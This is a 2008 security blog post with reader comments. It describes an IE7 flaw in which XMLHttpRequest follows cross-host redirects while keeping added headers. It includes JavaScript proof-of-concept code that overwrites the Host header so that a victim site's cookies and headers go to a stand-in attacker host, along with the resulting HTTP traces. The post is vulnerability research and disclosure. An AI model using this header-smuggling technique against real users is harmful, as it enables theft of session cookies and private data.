Security Thoughts

Friday, March 21, 2008, 19:59

More on MSA02240108 IE7 Header Overwrite

When I was researching ways exploit MSA02240108 'Microsoft Internet Explorer allows overwriting of several headers leading to Http request Splitting and smuggling', one of the interesting exploits I've found is that by taking advantage of XHR redirect feature in IE7, header stealing is possible also from an attacker site.

Let's see how:
When dealing with a XMLHttpRequest, Internet Explorer 7 follows redirect also on external urls.
Moreover, every added header is sent to the latter request as well.
Infact,



var x=new XMLHttpRequest();

x.open("POST","/page.html?redirect=http://anotherhost.tld");

x.setRequestHeader("Blah","Blah2");

 x.onreadystatechange=function (){

    if (x.readyState == 4){

     alert(x.responseText)

   }

 }

x.send("blah");

is executed and generates the following HTTP traffic:



GET /page.html?redirect=http://anotherhost.tld HTTP/1.1

Cookie: SomeCookie_to_ahost.tld

Host: ahost.tld

Blah: Blah2



HTTP/1.1 302 Moved Temporarily

Location: http://anotherhost.tld

Content-lenght: 0





GET / HTTP/1.1

Cookie: SomeCookie_to_anotherhost.tld

Host: anotherhost.tld

Blah: Blah2 <-- IE Sends it to anotherhost too!



HTTP/1.1 200 OK

...



<html>

Body that will never be accessible from a XMLHttpRequest originating from another host.

</html>

but of course x.responseText is empty.

Now, let's suppose there's a victim host vhosted on the same server of an attacker site.



var x=new XMLHttpRequest();

x.open("POST","/index.html");

x.setRequestHeader("Host"+String.fromCharCode(223),"http://at.tacker.com");

x.setRequestHeader("Connection","keep-alive");

 x.onreadystatechange=function (){

    if (x.readyState == 4){

   }

 }

x.send("blah");

where index.html simply redirect with:



HTTP/1.1 302 Moved Temporarily

Location: http://vi.ct.im/victimpage.html

The overwritten Host header will still be there on the redirected request because IE7 considers it as an additional header, but every other header will be as if the request is to vi.ct.im host.



GET /victimpage.html HTTP/1.1

Host: at.tacker.com

Cookie: some_cookie_that_should_be_sent_to_vi.ct.im

Header1: some_value1_that_should_be_sent_to_vi.ct.im

Header2: some_value2_that_should_be_sent_to_vi.ct.im

Header3: some_value3_that_should_be_sent_to_vi.ct.im

Which will be sent to the server. The server sees the Host: at.tacker.com header and sends the whole request to it, letting the cookie and other sensitive data in headers, to be directly stealed by at.ttacker.com.

Now my question is:
Why following a redirect to external hosts since the response could not be get from javascript, because of
Same Origin Policy?
...
Just to introduce some other potential security issue?

Comments:

kuza55, Saturday, March 22, 2008, 10:55

Nice find Stefano :)

IE seems to love doing stupid things somehow; I found the same issue with redirects but assumed it was unexploitable since Firefox doesn't follow redirects in XHR code (though it would have had a much smaller impact, since I was just trying to figure out how to do better cross-domain csrf attacks), anyway Firefox also forwards headers but only on 307 redirects (which it prompts the user about before following). I still haven't found much of a use for this issue though, besides this post, though I'm waiting for Adobe/Microsoft to decide to put a security control into Flash/Silverlight which says "oh, you know all those bad headers we didn't let you send before? well you can now send hem, but only to your own domain" and keeping my fingers crossed ^_^

Also, do you have any indication of when Microsoft plan to fix this by?

And keep up the great work :)

Stefano, Thursday, March 27, 2008, 18:53

Thanks Kuza/Alex :)

the 307 redirect FF issue is quite interesting,I'd check for poisoning the cache in presence of a proxy.

About your question on the patch i think MS will fix it on the next IE7/8 security bullettin...

ascii, Friday, April 04, 2008, 04:25

thanks stefano as always : )

we haz more p0wn now

Comments are disabled

Admin login | This weblog is from www.mylittlehomepage.net

Wisec is brought to you by...

Wisec is written and mantained by Stefano Di Paola.

Wisec uses open standards, including XHTML, CSS2, and XML-RPC.